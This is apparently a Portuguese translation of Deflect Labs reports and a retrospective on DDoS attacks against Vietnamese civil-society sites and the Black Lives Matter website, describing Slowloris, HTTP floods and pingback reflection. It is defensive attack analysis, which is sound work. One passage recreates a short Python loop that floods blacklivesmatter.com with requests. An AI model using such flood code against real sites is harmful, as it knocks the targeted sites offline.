O endereço IP66.70.255.195é um proxy HTTP aberto localizado na rede da OVH em Montreal e listado em diversos bancos de dados de proxies (comoo proxydbouo proxyservers). É surpreendente ver um proxy HTTP sendo usado aqui, considerando o ataque intenso realizado cinco dias antes pelo mesmo grupo. O uso de um proxy HTTP aberto certamente confere anonimato ao ataque, mas também limita a largura de banda do ataque à largura de banda do proxy (nesse caso, 5.000 solicitações por minuto, no máximo). Nossa hipótese é que um grupo de pessoas com diferentes habilidades e recursos esteja compartilhando a mesma ferramenta para atacar o site baotiengdan.com. Também é possível que uma pessoa ou um grupo esteja testando diferentes tipos de ataques para verificar qual é o mais eficaz.
O quarto grupo consiste apenas em um único ataque proveniente de um endereço IP no Vietnã, ocorrido em 12 de junho de 2018, quando observamos um pico de solicitações provenientes do IP 113.189.169.XXX no site viettan.org:
Esse ataque apresentava as seguintes características:
?%7F) para evitar o armazenamento em cache do DeflectEssas são características bastante claras que não havíamos observado em outros ataques anteriormente. Esse endereço IP pertence aoAS 45899, gerenciado pela empresa estatalVietnam Posts and Telecommunications Group. Parece ser um acesso à Internet doméstico ou comercial comum em Haiphong, no Vietnã. Considerando o baixo nível do ataque, é perfeitamente possível que ele tenha partido de um indivíduo a partir de seu acesso à Internet pessoal ou profissional.
No dia 10 de julho, a Qurium publicouum relatório sobre ataques DDoS contra dois sites vietnamitas: luatkhoa.org e thevietnamese.org, ocorridos no dia 11 de junho de 2018. A Luật Khoa tạp chíé um meio de comunicação online que aborda temas jurídicos e direitos humanos em vietnamita.A The Vietnameseé uma revista online independente do Vietnã que tem como objetivo sensibilizar a comunidade internacional sobre a situação dos direitos humanos e a política no Vietnã.
A Qurium nos confirmou as listas de endereços IP responsáveis pela maior parte do tráfego durante esse ataque DDoS, e constatamos que quatro desses endereços IP também foram utilizados nos incidentes 1, 5, 6 e 7, todos pertencentes ao Grupo A.
Ao comparar a lista de user-agents apresentada no artigo com a lista de user-agents utilizados nos incidentes do Grupo A, observamos que entre 22 e 42 por cento são semelhantes:
| Em comparação com os casos novos | Número de UA | Número de UA semelhantes | Porcentagem |
|---|---|---|---|
| 1 | 54 e 42 | 16 | 38,10 % |
| 2 | 42 e 40 | 9 | 22,50 % |
| 4 | 57 e 42 | 15 | 35,71 % |
| 5 | 97 e 42 | 18 | 42,86 % |
| 6 | 68 e 42 | 14 | 33,33 % |
| 7 | 42 e 38 | 11 | 28,95 % |
Conforme descrito anteriormente, é difícil atribuir esses ataques ao mesmo grupo, mas eles definitivamente compartilham algumas TTPs semelhantes. O fato de se observarem ataques DDoS com TTPs semelhantes, realizados durante o mesmo período, visando quatro grupos políticos diferentes ou sites de mídia independente, confirma definitivamente a natureza coordenada desses ataques e seu interesse específico em atacar a mídia vietnamita e grupos da sociedade civil.
Nosso sistema de mitigação utiliza a ferramenta Banjax, um plug-in do Apache Traffic Server que desenvolvemos para identificar e bloquear bots com base em padrões de tráfego. Por exemplo, bloqueamos endereços IP que realizam um número excessivo de consultas à página /. Essa abordagem é eficiente na maioria dos casos, mas não quando o ataque DDoS provém de vários hosts que permanecem abaixo dos limites definidos pelo Banjax. Nesses diversos incidentes, metade deles foi mitigada automaticamente por nossas regras do Banjax. Para os demais incidentes, tivemos que adicionar manualmente novas regras ao Banjax ou ativar o desafio em JavaScript do Banjax, que exige que os navegadores realizem operações matemáticas antes de terem permissão para acessar o site (bloqueando, assim, todas as ferramentas automatizadas que não implementam JavaScript).
De modo geral, esses ataques causaram um tempo de inatividade limitado nos sites visados e, quando isso ocorreu, trabalhamos em colaboração com Viettan e Tieng Dan para mitigá-los o mais rápido possível.
Neste relatório, apresentamos os ataques direcionados aos sites do Việt Tân e do Tiếng Dân desde meados de abril deste ano. O relatório mostra que os ataques de negação de serviço distribuída (DDoS) continuam sendo uma ameaça à sociedade civil no Vietnã e que o DDoS ainda é utilizado para silenciar grupos políticos e a mídia independente na internet.
Do ponto de vista técnico, o ataque de inundação HTTP ainda é comumente utilizado em ataques DDoS e continua sendo bastante eficaz contra sites que não possuem soluções de filtragem. Investigar a origem desses ataques é uma missão contínua para nós, e estamos constantemente buscando novas maneiras de compreendê-los e classificá-los melhor.
Um dos objetivos da publicação desses relatórios é promover colaborações na análise de ataques DDoS contra a sociedade civil. Se você já observou ataques semelhantes ou se está trabalhando para proteger organizações da sociedade civil contra eles, entre em contato conosco pelo e-mail outreach AT equalit.ie
Gostaríamos de agradecer ao Việt Tân e ao Tiếng Dân pela ajuda e colaboração durante esta investigação. Agradecemos também ao ipinfo.io pelo apoio.
É comum compartilhar publicamente os Indicadores de Comprometimento (IOCs) em relatórios de ataques. Compartilhar IOCs relacionados a ataques DDoS é mais complexo, pois esses ataques costumam ser realizados por meio de retransmissores (sejam proxies ou sistemas comprometidos); portanto, compartilhar listas de endereços IP pode ter efeitos colaterais sobre as vítimas que não podemos controlar. Por isso, decidimos não compartilhar IOCs publicamente, mas estamos abertos a compartilhá-los de forma privada com organizações ou indivíduos que possam ser alvo desses mesmos grupos. Entre em contato conosco pelo e-mailoutreach AT equalit.ie.
Conforme descrito anteriormente neste relatório, desenvolvemos um script para identificar sistemas com base nos dadosdo Shodan. Esse script está publicado noGitHube está disponível sob a licença MIT. Fique à vontade para abrir issues ou enviar Pull Requests.
Este é o quinto ano de operações do Deflect e um momento oportuno para tirar algumas conclusões do passado e oferecer uma rodada de feedback aos nossos diversos usuários e colegas. Lutamos e vencemos centenas de batalhas contra diversos ataques distribuídos de negação de serviço (DDoS) e de engenharia social direcionados a nós e aos nossos clientes, ampliando a oferta de soluções de mitigação de código aberto do Deflect para incluir também hospedagem de sites e análise de ataques. No entanto, cometemos vários erros importantes ao longo desse caminho, e este post se concentrará nas lições aprendidas e no caminho a seguir em nossa batalha para reduzir a prevalência do DDOS como uma técnica muito comum para silenciar vozes online.
Nossas reflexões e esta postagem foram motivadas por um relatório de avaliação externa do serviço Distributed Deflect, que você pode ler neste PDF. O projeto em si foi uma aposta técnica arriscada e um exercício ambicioso de construção de comunidade. As lições aprendidas com essa iniciativa estão resumidas no documento. A leitura leva cerca de 10 minutos 🙂
Durante os horários de pico no Deflect, ao longo do período de 2012 a 2016, atendíamos uma média de 3 milhões de leitores únicos por dia e enfrentávamos ataques DDoS simultâneos contra vários clientes. A rede manteve os sites em funcionamento ininterruptamente durante os 3 anos e 3 meses de duração do projeto, registrando menos de 30 minutos de tempo de inatividade no total. O projeto teve impacto direto em mais de quatrocentas organizações independentes de mídia, direitos humanos e promoção da democracia.
A eQualit.ie lançou 10 bibliotecas, kits de ferramentas e frameworks de código aberto, incluindo ferramentas para gerenciamento de rede e mitigação de ataques DDoS; um framework de hospedagem gerenciada para WordPress; classificação e análise de comportamentos maliciosos na rede; a biblioteca Bundler para criptografia e entrega de sites em redes não confiáveis, que também foi reutilizada no projeto Censorship.NO para contornar a infraestrutura de filtragem da Internet.
Mais de trezentos e cinquenta sites passaram pelo serviço de proteção Deflect. Esses sites variavam em tamanho e popularidade, recebendo desde uma dúzia de leitores diários até mais de um milhão. Nossa política de portas abertas significava que os sites que mudassem de ideia sobre a proteção do Deflect eram livres para sair e não enfrentavam qualquer tipo de impedimento para fazê-lo. Ao longo do projeto, mitigamos mais de quatrocentos ataques DDoS e atendemos aproximadamente 1% dos usuários da Internet a cada ano civil (de acordo com nossos registros, correlacionados com os dados da Internet World Statistics). Nosso trabalho também foi divulgado na mídia especializada e na grande mídia.
Além do serviço de proteção contra ataques DDoS, treinamos diversos administradores de sites nos princípios de segurança na web, trabalhamos com vários provedores de internet de pequeno e médio porte para que configurassem sua própria infraestrutura Deflect e possibilitamos a presença na internet de organizações e movimentos importantes envolvidos em eventos nacionais e internacionais, incluindo as eleições de 2013 no Irã, as eleições de 2014 na Ucrânia, o sequestro em massa de Iguala, os Panama Papers e o movimento Black Lives Matter, entre outros.
À medida que os ataques aumentavam de magnitude, debatemos a viabilidade a longo prazo do projeto e decidimos criar um protótipo de serviço de mitigação de DDoS em espécie, no qual sites que recebessem proteção gratuita e quaisquer voluntários pudessem se juntar e ampliar o tamanho e o alcance da rede de mitigação. Queríamos criar um serviço administrado pelas próprias pessoas que ele protegia. A hipótese previa a primeira infraestrutura participativa de botnet do mundo, na qual a rede seria sustentada por cerca de cem servidores administrados pelo projeto Deflect e vários milhares de nós voluntários. Nossa experiência anterior mostrou que a melhor maneira de mitigar um ataque de botnet era por meio de uma solução distribuída, utilizando o design da Internet para neutralizar um ataque que nenhum ponto final isolado poderia suportar sozinho. O Distributed Deflect reuniu pessoas de diversas origens e competências, combinando desenvolvimento de software e prestação de serviços técnicos, suporte ao cliente e divulgação, documentação e comunicação. Projetamos, criamos protótipos e colocamos em produção os componentes centrais de uma infraestrutura distribuída de voluntários, apenas para perceber que a hipótese por trás de nossa proposta não seria escalável se quiséssemos manter a privacidade e a segurança de todos os participantes da nossa rede.
Uma infraestrutura que aceitasse recursos de rede voluntários (não confiáveis) precisava introduzir verificações quanto à precisão e confidencialidade do conteúdo; caso contrário, um nó mal-intencionado poderia não apenas ver quem estava fazendo o quê na rede Deflect, mas também excluir ou alterar o conteúdo à medida que ele passasse por sua máquina. Nossa solução foi criptografar as páginas da web assim que elas saíssem do servidor de origem e entregá-las aos leitores como um pacote criptografado, com um trecho de autenticação adicional enviado por outro nó para verificação. Os nós voluntários armazenariam em cache apenas informações criptografadas e não poderiam substituí-las por conteúdo alternativo.
Todo o projeto de infraestrutura e as ferramentas de software necessárias para implementar esse modelo foram desenvolvidos de acordo com as especificações. No entanto, quando tudo estava pronto para a produção e em fase de testes, percebemos o erro na hipótese formulada no início. Os pacotes criptografados aumentaram de tamanho, pois todas as fontes das páginas e várias bibliotecas de terceiros — que constituem a maior parte das páginas da web atualmente e geralmente são armazenadas no cache do navegador — tiveram que ser incluídas em cada pacote.
Isso aumentava a latência da rede e não permitia escalar durante um ataque DDoS. Estávamos prejudicando o desempenho da nossa infraestrutura, em vez de melhorá-lo. Outro fator importante que influenciou nossa decisão foi o baixo custo da infraestrutura de servidores. Ao alugar nossas máquinas com provedores comerciais e aproveitar seus preços competitivos a nosso favor, conseguimos manter os custos de infraestrutura abaixo de 5% de nossas despesas mensais totais. O investimento financeiro em uma infraestrutura mundial de servidores Deflect não era significativo quando comparado aos recursos necessários para manter a rede. Ao concentrar nossos esforços de desenvolvimento na criptografia e na entrega de conteúdo do site a partir de nosso cache distribuído e no balanceamento de carga de desempenho em uma infraestrutura de nós voluntários, adiamos o trabalho de aprimoramento do gerenciamento de rede e da automação de tarefas. Isso significava que o nível de exigência para prestar suporte técnico à rede era bastante alto, o que excluía a participação de voluntários com conhecimentos técnicos protegidos pelo Deflect.
Após vários meses de novos testes, deliberações e consultas com nossos financiadores, decidimos abandonar a iniciativa de incluir recursos voluntários de rede, optando por dar continuidade à plataforma de mitigação existente e aprimorar seus serviços para os clientes. À medida que a mitigação de ataques se tornou rotineira e a Deflect defendeu com sucesso seus clientes contra ofensivas DDoS implacáveis, a equipe começou a analisar a impunidade de que atualmente gozam aqueles que lançam os ataques. Começando com o caso de um site de mídia independente vietnamita alvo de bots originários de um provedor de internet vietnamita regulado e controlado pelo Estado, percebemos que era possível extrair uma história a partir do rastro forense de um ataque, que poderia conter evidências de motivação, método e proveniência. Se essa história pudesse ser contada, ela daria um enorme poder de defesa à vítima e começaria a desmascarar o anonimato de que gozam seus organizadores. O custo de atacar os clientes da Deflect aumentaria à medida que a exposição e a atenção da mídia em torno do evento frustrassem os objetivos dos atacantes.
Começamos a desenvolver uma infraestrutura capaz de capturar um segmento estatisticamente relevante de um ataque. A análise de dados foi realizada por meio de tecnologia automatizada para a criação de perfis e classificação de agentes maliciosos em nossa rede, ferramentas de visualização para investigações conduzidas por humanos e cooperação com organizações parceiras para rastrear atividades em nossas respectivas redes. Esse esforço deu origem ao Deflect Labs e, em seus primeiros doze meses, publicamos três relatórios detalhados cobrindo uma série de incidentes direcionados a sites protegidos pelo Deflect, expondo sua metodologia e traçando o perfil de suas redes. Por meio de inteligência de código aberto e em colaboração com a equipe dos sites, identificamos uma história por trás de cada ataque, revelando possíveis motivações e a identidade dos invasores. Após a publicação e a atenção da mídia gerada por esses relatórios, os ataques contra um dos sites diminuíram significativamente e cessaram completamente no caso do outro.
Era de se esperar que surgissem muitas dificuldades e problemas ao operar um serviço de segurança de alto impacto, 24 horas por dia, 7 dias por semana, para vários milhões de leitores diários. O cansaço, a falta de tempo para desenvolver novos recursos, a cobertura de emergências ininterrupta e inúmeras situações de alto estresse levaram ao esgotamento e à rotatividade de pessoal. Os recursos investidos no modelo Distributed Deflect atrasaram consideravelmente o desenvolvimento de outras metas do projeto.
Mais ou menos na mesma época em que o Deflect ganhava popularidade, ofertas gratuitas de mitigação da Cloudflare e do Google foram lançadas em conjunto com campanhas de divulgação voltadas para a mídia independente e organizações de direitos humanos. Isso proporcionou mais opções para organizações da sociedade civil que buscavam proteção para seus sites, mas tornou mais difícil para nós atrairmos o número esperado de sites. Iniciamos uma campanha para definir as diferenças em nossas abordagens distintas quanto à elegibilidade dos clientes, ao respeito à privacidade deles e aos termos de serviço claros, experimentando uma variedade de estratégias de comunicação e divulgação. Ficamos, no entanto, desapontados por não termos recebido mais apoio de nossa comunidade de colegas, já que soluções de código aberto e propriedade dos dados não figuravam como critérios prioritários para ONGs e meios de comunicação na hora de selecionar opções de mitigação.
A Deflect continua operando e inovando, crescendo e se consolidando gradualmente. Nossas ambições atuais incluem oferecer aos nossos clientes opções mais amplas de hospedagem e desenvolver padrões e sistemas para o compartilhamento responsável de dados entre provedores de internet (ISPs) e provedores de mitigação que compartilham da mesma visão. Fiquem atentos às interfaces gráficas de usuário agradáveis em nossos painéis de controle e plataformas de documentação. Também estamos desenvolvendo protótipos de várias abordagens diferentes para gerar receita, a fim de sustentar o projeto no futuro próximo. O objetivo é melhorar sem perder de vista o que viemos fazer aqui desde o início. Como sempre, estamos aqui para apoiar a missão de nossos clientes e seu direito à liberdade de expressão. Ficamos animados com o feedback e os depoimentos deles.
Seamus Tuohy e a eQualitie
Este relatório abrange os ataques ocorridos entre 29 de abril e 15 de outubro de 2016. Ao longo desse período de sete meses, registramos mais de cem incidentes distintos de negação de serviço contra o site oficial do Black Lives Matter. Nossa análise mostra uma variedade de métodos técnicos utilizados nas tentativas de derrubar esse site, e a caracterização desses ataques aponta para uma mentalidade de “turba” de agentes mal-intencionados que se juntam à causa em resposta a convocatórias feitas nas redes sociais e em canais secretos. Nosso relatório destaca o uso de serviços de hospedagem sem perguntas e de “booter” utilizados por agentes mal-intencionados para realizar esses ataques. Descrevemos a tendência cada vez maior de vândalos da Internet que, em busca de um pouco de notoriedade, lançam ataques de negação de serviço contra o site do Black Lives Matter (BLM). Nossa análise documentou ataques que podiam ser realizados por apenas US$ 1 e, com acesso a documentação pública e software malicioso facilmente disponíveis, exigiam apenas habilidades técnicas básicas. Alguns dos maiores ataques contra o BLM geraram milhões de conexões sem depender de uma infraestrutura gigantesca. Em vez disso, o tráfego foi “refletido” a partir de sites legítimos do WordPress e do Joomla. Comparamos as atribuições públicas de alguns desses ataques com os dados que passam por nossas redes e apresentamos o envolvimento de supostos membros do grupo Ghost Squad Hackers nesses eventos.
“O Black Lives Matter, membro da May First/People Link e apoiado pelo Design Action Collective, é uma organização central no movimento de resistência contra abusos, brutalidade e conduta imprópria da polícia.” O site do BLM está protegido pelo Deflect desde 15 de abril de 2016, após uma série de ataques DDoS e de hackers.
No início de julho, publicamos um boletim preliminar, com a intenção de elaborar um relatório abrangente sobre os ataques logo em seguida. Desde então, o site do BLM sofreu um número crescente de ataques de grande magnitude, que decidimos incluir em nossa análise, o que adiou a publicação. Este relatório irá explorar esses ataques, correlacionando pesquisas de fontes abertas e atribuições divulgadas publicamente com o que observamos nos dados.
A infraestrutura da Deflect Labs nos permite capturar, processar e traçar o perfil de cada ataque, analisando incidentes específicos e cruzando os resultados com um banco de dados de botnets já mapeadas. Definimos os parâmetros para comportamentos anômalos na rede e, em seguida, agrupamos (“cluster”) os IPs maliciosos em botnets por meio de algoritmos de aprendizado de máquina não supervisionado.
Como solução de mitigação de DDoS para o site blacklivesmatter.com, a Deflect tem acesso a todas as solicitações legítimas e maliciosas feitas a esse site. No entanto, em quase todos os casos, os ataques ocorrem por meio de máquinas infectadas ou como ataques de reflexão a partir de sites que não suspeitam de nada. Um invasor com algum nível de experiência sabe como ofuscar e disfarçar seus rastros na Internet. Portanto, é extremamente difícil atribuir uma ação a uma pessoa específica ou a um endereço IP com segurança. Contamos com nossas ferramentas analíticas, colegas do setor de mitigação e pesquisas nas redes sociais para testar nossas hipóteses. As suposições decorrentes do OSINT são então verificadas em relação aos dados em nossos sistemas e vice-versa.
A análise técnica e a pesquisa nas redes sociais indicaram que as ações contra o site do BLM foram lançadas por vários atacantes que, com frequência, agiam em conjunto. Alguns métodos, como os ataques de reflexão no Joomla e no WordPress, parecem ter sido coordenados, enquanto em outros casos ficou claro que muitos atores aderiram a um ataque mais poderoso para reivindicar parte do crédito. Esses pequenos grupos, vagamente organizados, surgem minutos ou horas após o início do ataque original e lançam uma mistura heterogênea de vários métodos de ataque, muitas vezes sem efeito. Essas ações costumam ser acompanhadas por uma enxurrada de consultas de várias soluções de monitoramento de tempo de inatividade de sites, à medida que os invasores tentam coletar “troféus” por sua participação no ataque coletivo. Além disso, observamos um agente sofisticado que foi capaz de gerar tráfego malicioso em um nível superior a qualquer outro que documentamos como alvo do BLM. Usando hospedagem à prova de falhas para coordenar seus ataques, ele não se esforçou muito para ocultar sua identidade, criando, em vez disso, uma rede complexa de contas nas redes sociais, possíveis reivindicações públicas falsas de autoria e uma atmosfera de mistério em torno de suas motivações e objetivos.
Os primeiros — e únicos — ataques atribuídos publicamente começaram no final de abril, quando _s1ege, um membro declarado do grupo Ghost Squad Hackers, começou a postar no Twitter capturas de tela mostrando a desfiguração do site e relatórios de serviços de monitoramento de disponibilidade indicando que o site do BLM não estava mais acessível. A ação fazia parte da campanha #OPAllLivesMatter, provavelmente em resposta ao slogan (e posteriormente à hashtag) #AllLivesMatter, criado em 2015. Em 2 de maio de 2016, um vídeo do YouTube publicado por @anonymous_exposes_racism continha um aviso de um grupo que se identificava como Anonymous aos líderes do movimento Black Lives Matter, pedindo que eles também condenassem o racismo contra brancos.
Essa primeira série de ataques contra o BLM, que teve início em 29 de abril, durou apenas 30 minutos. Eles partiram de seis endereços IP e geraram pouco menos de 15.000 conexões. Foi utilizado um único método de ataque e poucos recursos, o que tornou essa pequena ação, na melhor das hipóteses, apenas temporariamente eficaz. Naquela noite, cinco endereços IP diferentes realizaram outro ataque contra o site do BLM, que atingiu um pico de mais de 158.000 conexões ao longo de uma hora.
Durante esse ataque, @_s1ege postou comentários no Twitter assumindo a autoria. Juntamente com fotos que mostravam que o site do Black Lives Matter havia sido temporariamente tirado do ar por esse ataque, _s1ege postou uma foto do software que estava usando, o “BlackHorizon”.
Durante esse ataque, @_s1ege postou comentários no Twitter assumindo a autoria. Juntamente com fotos que mostravam que o site do Black Lives Matter havia sido temporariamente tirado do ar por esse ataque, _s1ege postou uma foto do software que estava usando, o “BlackHorizon”.
O BlackHorizon é um clone de um software de DoS HTTP chamado GoldenEye, que foi escrito por Jan Seidl em 2014. Esse, por sua vez, era uma expansão do projeto HULK de 2012, de autoria de Barry Shteiman. Ao contrário da adaptação e expansão bem pensadas que Seidl fez do HULK, a base de código do BlackHorizon altera principalmente a arte ASCII e o nome do autor. Ao ser examinado, ficou claro que os componentes funcionais do código permaneceram quase totalmente inalterados em relação ao GoldenEye.
Várias publicações da mídia correram para entrevistar _s1ege, com a conta do Twitter @ghostsquadhack e a do Facebook GhostSquadHackers fazendo referência a essas publicações. Cerca de 30 minutos após o segundo ataque, Waqas Amir publicou um artigo no HackRead descrevendo ambos os incidentes, juntamente com sua conversa com um membro do GSH. Mais tarde naquela noite, um membro do GSH voltou a usar um bot anterior e criou um ataque que gerou bem menos de 700 conexões, antes de desistir após menos de 20 minutos.
Logo após os tuítes e a publicação no HackRead, observamos um aumento na frequência e na variedade dos ataques. Apenas uma parte deles apresentava um perfil de comportamento na rede semelhante ao daqueles atribuídos por _s1ege ao GSH. Os invasores estavam usando softwares conhecidos e podem ter convocado outras pessoas na Internet a seguirem o exemplo. Em 10 de maio, @_s1ege anuncia @bannedoffline como novo membro do grupo Ghost Squad e, dois dias depois, deixa de tuitar por completo nessa conta.
O BLM começou a sofrer ataques em maior escala no dia 9 de maio. O primeiro durou pouco mais de 90 minutos e consistiu em 1.022.981 conexões provenientes de sites legítimos do WordPress. Esse não foi o primeiro ataque de pingback do WordPress contra o site do BLM, mas foi um indício de que estávamos começando a enfrentar adversários preparados para empregar recursos muito maiores do que antes.O nível de gravidade e agressividade continuou a aumentar e, em 9 de julho, testemunhamos um ataque de pingback do WordPress que gerou mais de 34 milhões de conexões ao BLM em um único dia. Os invasores não pareciam interessados em ocultar sua origem, o que nos permitiu rastrear essas atividades nos meses seguintes. Os ataques foram coordenados a partir de máquinas hospedadas em um provedor “à prova de balas” – assim chamado porque oferece servidores para aluguel sem fazer perguntas. Os incidentes associados a esses ataques foram os maiores enfrentados pelo BLM durante o período coberto pelo relatório.
No dia 25 de julho, recebemos uma assinatura do serviço de proteção Deflect de um tal “John Smith”, solicitando que incluíssemos o site http://ghostsquadhackers.org. Rastreamos essa solicitação e as conversas subsequentes com esse usuário até a conta @bannedoffline no Twitter e no Facebook, bem como até o proprietário dos seguintes domínios: ghostantiddos.com; ghostsquadsecurity.com; bannedoffline.xyz; www.btcsetmefree.org, entre outros.
Nossa análise das ações executadas a partir do provedor de hospedagem “à prova de balas” identificou vários endereços IP que foram utilizados para comando e controle. Esses endereços foram correlacionados por um provedor de mitigação que havia desafiado @bannedoffline, em um fórum de hackers, a lançar um ataque DDoS contra eles e registrou a atividade resultante. Dois endereços IP, um pertencente ao provedor DMZhosting mencionado mais adiante neste relatório e uma máquina da Digital Ocean, foram identificados em nossos registros individuais – e correlacionados a oito incidentes distintos em nosso estudo.
É difícil afirmar com certeza por que não houve mais atribuições públicas aos ataques ao BLM após a primeira semana de maio, considerando que a gravidade e a sofisticação aumentaram várias vezes. @bannedoffline excluiu todas as suas postagens nas redes sociais no final de setembro, pouco antes de registrarmos o maior ataque contra o site do BLM. O @bannedoffline também foi associado a um ataque de 665 Gbps (o maior ataque da época, antes das botnets Mirai) contra o site Krebs on Security. O Ghost Squad não confirmou nem negou a participação contínua de @bannedoffline em seu grupo. Os ataques atribuíveis a @bannedoffline e _s1ege — que muito bem poderiam ser a mesma pessoa — representaram menos de 20% da atividade de DDoS registrada contra o BLM.
Os incidentes que utilizavam um método de ataque semelhante foram identificados por meio de um processo iterativo de identificação de possíveis características comportamentais que distinguem um tipo de ataque dos demais. Primeiramente, identificamos combinações de comportamentos e características que distinguiam possíveis ataques do tráfego normal. Esses perfis foram então comparados aos tipos de ataques existentes, por meio da busca por assinaturas em outros relatórios e em bases de código conhecidas desses ataques, a fim de criar um perfil do método de ataque. Nesse ponto, características secundárias do ataque foram examinadas para verificar se elas distinguiam ataques individuais. Isso variava desde o provedor de hospedagem utilizado pelos “botherders” até a coleção de sites inofensivos usados como refletores e os métodos utilizados para verificar o status do site, entre outros. Se uma ou mais dessas características se sobrepunham para um conjunto específico de ataques, esses ataques eram sinalizados para investigação mais aprofundada. Depois de agruparmos esses ataques, analisamos todo o conjunto de ataques e tentamos rejeitar qualquer característica que pudesse diferenciar claramente esse subconjunto de ataques de ataques semelhantes.
A categoria mais comum de ataques contra o site da BLM tem sido os ataques de inundação HTTP “no nível da aplicação” (camada 7). Esses bots imitam o comportamento humano ao se conectarem a um site e solicitarem uma grande quantidade de conteúdo até que o servidor entre em colapso por falta de recursos. Neste relatório, analisaremos apenas esse tipo de ataque.
A capacidade dos atacantes individuais variou consideravelmente. À medida que o site do BLM enfrentava atacantes com mais recursos e mais eficazes, a turba tornou-se um ruído de fundo persistente.
| Tipo de ataque (incluindo variantes e clones) | abril | maio | junho | julho | ago | Setembro | Outubro |
| Pingback do WordPress | 5 | 6 | 4 | 4 | 5 | ||
| Pingback do Joomla | 1 | 6 | 6 | 4 | 3 | 3 | |
| Loris lento | 2 | 5 | 3 | 1 | |||
| Inundação NoCache totalmente aleatória | 6 | 14 | 11 | 5 | 7 | 2 | 4 |
| Inundação por contornamento de cache | 1 | 1 | 2 | 2 | |||
| Inundação de scripts em Python | 2 | 2 |
| Aliases/Ferramentas | Slowloris, Pyloris, Torloris |
| Tipo de ataque | Ataque de negação de serviço na camada 7 |
| Vulnerabilidades | Esgotamento de conexões |
| Ofuscação | Nenhum |
| Classe de Ataque | De fonte única |
| Taxa de ataque | Baixo |
O primeiro ataque identificado contra o site do Black Lives Matter ocorreu em 18 de abril, poucos dias após a migração para o Deflect. Um único endereço estabeleceu entre 5 e 30 conexões por segundo com a página principal do BLM. Isso durou 28 segundos. No total, foram realizadas apenas 168 conexões. Normalmente, esse tipo de comportamento não levantaria suspeitas. Mas, neste caso, o agente de usuário desse cliente correspondia ao agente de usuário utilizado no código original da prova de conceito do“Slowloris – o cliente HTTP de baixa largura de banda, mas voraz e malicioso!”
O Slowloris é uma ferramenta de DoS lançada originalmente em 2009. Ele se destaca entre os outros ataques de Camada 7 que discutiremos neste relatório, pois não se concentra em inundar a rede com tráfego. Em vez disso, ele tenta esgotar todas as conexões com um servidor web, não deixando nenhuma disponível para usuários legítimos. Esse baixo número de conexões permite que o Slowloris ataque um site sem chamar a mesma atenção que uma inundação de tráfego causaria. Foram identificados 12 ataques utilizando a base de código original do Slowloris desde que o site do BLM passou a ser protegido pelo Deflect. Todos esses ataques, com exceção de um, tiveram menos de 1.000 conexões. O maior ataque do Slowloris ocorreu no dia 10 de julho, das 0h50 às 3h20 e das 6h às 7h20, estabelecendo mais de 40.542 conexões — o que demonstra claramente um uso indevido dessa ferramenta ou uma falta de compreensão de sua finalidade original.
Na versão inicial do código, o Slowloris utilizava um único agente de usuário. Atualmente, muitas das versões personalizadas do Slowloris alteraram o agente de usuário [pyloris.py] ou adicionaram ofuscação do código-fonte do cliente, selecionando aleatoriamente a partir de uma lista de agentes de usuário [slowloris.py]. Não é surpreendente ver alguém usando uma versão não modificada de uma ferramenta tão obscura, mesmo quando o servidor utilizado no site do BLM está protegido contra esse tipo de ataque. Muitos dos autores que realizam ataques DoS não estão se baseando em ferramentas existentes. Embora o Slowloris fosse elegante na época, o cenário de ataques DoS é dominado por invasores que utilizam medidas simplistas. Isso ocorre porque não é necessária uma ferramenta altamente complexa para derrubar a maioria dos sites na Internet.
Os ataques do Slowloris ao site do BLM tendem a coincidir ou ocorrer na mesma época que dois ataques de baixa complexidade do tipo “inundação HTTP básica”: [Blank] e [Python], bem como os ataques (Blank+WordPress) ao WordPress.
Os ataques de inundação HTTP são fáceis de implementar e difíceis de identificar. Geralmente, eles tentam esgotar os recursos de aplicativos de um sistema ou a largura de banda da rede. Isso é feito seja criando uma grande quantidade de conexões com o site, seja baixando continuamente uma grande quantidade de arquivos. Como exigem apenas que o invasor crie muitas conexões legítimas com um servidor, os ataques de inundação HTTP são bastante fáceis de implementar. Como essas conexões são legítimas, pode ser muito difícil para quem está defendendo o sistema diferenciá-las das conexões de usuários reais.
| Aliases/Ferramentas | Nenhum |
| Tipo de ataque | Ataque de negação de serviço na camada 7 |
| Vulnerabilidades | Nenhum |
| Ofuscação | Nenhum |
| Classe de Ataque | De fonte única |
| Taxa de ataque | Baixo |
Um exemplo simples desse tipo de ataque pode ser observado no dia 30 de abril. Por pouco menos de dez minutos, um único endereço realizou um ataque de solicitações HTTP GET de baixa sofisticação contra o site do Black Lives Matter. Durante um período de cinco minutos, esse invasor estabeleceu 1.503 conexões a partir de um único endereço, utilizando um agente de usuário do Internet Explorer. O site do BLM recebeu apenas algumas dessas conexões, pois o invasor foi bloqueado em menos de um segundo.
| Aliases/Ferramentas | Nenhum |
| Tipo de ataque | Ataque de negação de serviço na camada 7 |
| Vulnerabilidades | Nenhum |
| Ofuscação | Nenhum |
| Classe de Ataque | De fonte única |
| Taxa de ataque | Baixo |
Apenas algumas horas após o término do ataque HTTP Flood anterior, dois ataques diferentes começaram e cessaram. Eles ocorreram com apenas dois minutos de diferença entre si. O primeiro foi um “ataquede inundação NoCache totalmente aleatório”e estabeleceu 2.000 conexões durante os dois minutos de duração do ataque. O segundo foi um teste de um ataque de inundação HTTP ainda mais simples do que o exemplo anterior. O código por trás desse ataque foi escrito sem qualquer tentativa de fazê-lo parecer proveniente de um usuário legítimo. Durante os seis minutos de ataque, esse script estabeleceu cerca de 400 conexões. Também ocorreram 23 conexões a partir de um navegador Chrome no mesmo endereço IP durante esse período, já que o invasor atualizava freneticamente a página da web para verificar o impacto causado. Assim como no ataque anterior, levou menos de um segundo para que esse endereço IP fosse bloqueado.
Embora um ataque DoS não precise de muita sofisticação para ser eficaz, mencionamos isso aqui porque sua assinatura única indica que esse ataque foi criado por um programador inexperiente. Para explicar o quão básico é esse ataque, os pesquisadores do Deflect Labs recriaram uma versão funcional dele a seguir.
import urllib
while True:
urllib.urlopen("http://www.blacklivesmatter.com")
Esse invasor voltou algumas horas depois, usando um endereço diferente. Assim como em muitos ataques de fonte única, é provável que ele estivesse usando um proxy para ocultar o IP original de seus ataques enquanto realizava esses testes. Antes de executar o script em Python, ele realizou o mesmo ataque “Fully Randomized NoCache Flood” por cerca de um minuto e, em seguida, voltou rapidamente ao seu script em Python. O script em Python estabeleceu outras 429 conexões durante o ataque, que durou aproximadamente seis minutos. Assim como antes, ele foi interrompido em questão de segundos.
